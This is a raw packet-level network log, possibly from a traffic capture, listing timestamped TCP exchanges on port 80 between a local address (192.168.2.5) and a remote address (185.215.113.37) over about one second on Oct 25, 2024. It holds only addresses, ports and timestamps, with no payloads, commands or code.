Oct 25, 2024 02:18:26.992680073 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.992680073 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.992708921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.992717981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.992763042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.992803097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.992813110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.992857933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.992865086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.992917061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.992940903 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.992949963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.992984056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.993007898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.993007898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.993017912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.993052959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.993068933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.993098974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.993112087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.993112087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.993151903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.993184090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.993187904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.993206978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.993221998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.993251085 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.993256092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.993262053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.993311882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.993324041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.993347883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.993381023 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.993416071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.993434906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.993434906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.993434906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.993448973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.993473053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.993484974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.993535042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.993558884 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.993568897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.993633032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.993666887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.993700027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.993707895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.993707895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.993707895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.993751049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.993784904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.993808031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.993839979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.993875980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.993899107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.993899107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.993910074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.993943930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.993993998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.994009972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.994009972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.994009972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.994028091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.994079113 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.994079113 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.994083881 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.994117975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.994169950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.994215012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.994215012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.994215012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.994219065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.994267941 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.994271994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.994318008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.994330883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.994379997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.994430065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.994463921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.994474888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.994474888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.994498968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.994534969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.994541883 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.994541883 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.994585037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.994604111 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.994636059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.994645119 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.994669914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.994684935 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.994704008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.994714975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.994736910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.994771004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.994821072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.994844913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.994846106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.994868040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.994880915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.994915009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.994967937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.994967937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.994967937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.995006084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.995022058 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.995039940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.995090008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.995090008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.995095015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.995146036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.995156050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.995177984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.995229959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.995271921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.995271921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.995279074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.995335102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.995335102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.995374918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.995409966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.995420933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.995420933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.995445013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.995479107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.995482922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.995482922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.995512962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.995532036 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.995565891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.995615005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.995647907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.995666981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.995666981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.995682001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.995716095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.995748997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.995768070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.995768070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.995768070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.995799065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.995832920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.995855093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.995867968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.995899916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.995928049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.995937109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.995971918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.996006012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.996038914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.996053934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.996053934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.996053934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.996053934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.996074915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.996094942 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.996108055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.996143103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.996175051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.996207952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.996217012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.996217012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.996217012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.996217012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.996242046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.996274948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.996290922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.996290922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.996308088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.996341944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.996373892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.996383905 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.996383905 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.996408939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.996423960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.996443987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.996479034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.996515036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.996517897 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.996517897 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.996517897 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.996551037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.996556044 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.996584892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.996618986 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.996644020 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.996644020 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.996650934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.996671915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.996689081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.996721983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.996748924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.996748924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.996757984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.996792078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.996824980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.996854067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.996855021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.996855021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.996886969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.996898890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.996898890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.996922016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.996942043 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.996954918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.996970892 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.996989012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.997020006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.997051954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.997073889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.997073889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.997073889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.997087002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.997121096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.997153997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.997185946 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.997189999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.997206926 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.997226000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.997257948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.997267962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.997293949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.997308969 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.997327089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.997348070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.997359991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.997394085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.997426987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.997431040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.997431040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.997462034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.997495890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.997503042 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.997529984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.997565985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.997598886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.997632027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:26.997672081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:26.997731924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.109458923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.109497070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.109536886 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.109538078 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.109555006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.109605074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.109625101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.109662056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.109678984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.109713078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.109735012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.109765053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.109798908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.109826088 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.109826088 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.109837055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.109888077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.109910965 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.109939098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.109941006 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.109992981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.110013962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.110028028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.110054016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.110059977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.110071898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.110095024 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.110095978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.110126019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.110158920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.110166073 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.110166073 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.110208988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.110217094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.110260010 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.110268116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.110321999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.110371113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.110413074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.110420942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.110471010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.110482931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.110482931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.110505104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.110532999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.110538960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.110553980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.110574007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.110600948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.110608101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.110620022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.110644102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.110677004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.110687971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.110687971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.110711098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.110737085 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.110754013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.110761881 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.110796928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.110830069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.110863924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.110872030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.110872030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.110893011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.110898018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.110913038 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.110949993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.111001968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.111006021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.111040115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.111072063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.111124039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.111124039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.111124039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.111124039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.111177921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.111218929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.111251116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.111284018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.111296892 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.111296892 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.111296892 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.111298084 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.111335993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.111397028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.111421108 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.111448050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.111496925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.111548901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 02:18:27.111558914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.111558914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.111558914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 02:18:27.111578941 CEST	80	49704	185.215.113.37	192.168.2.5
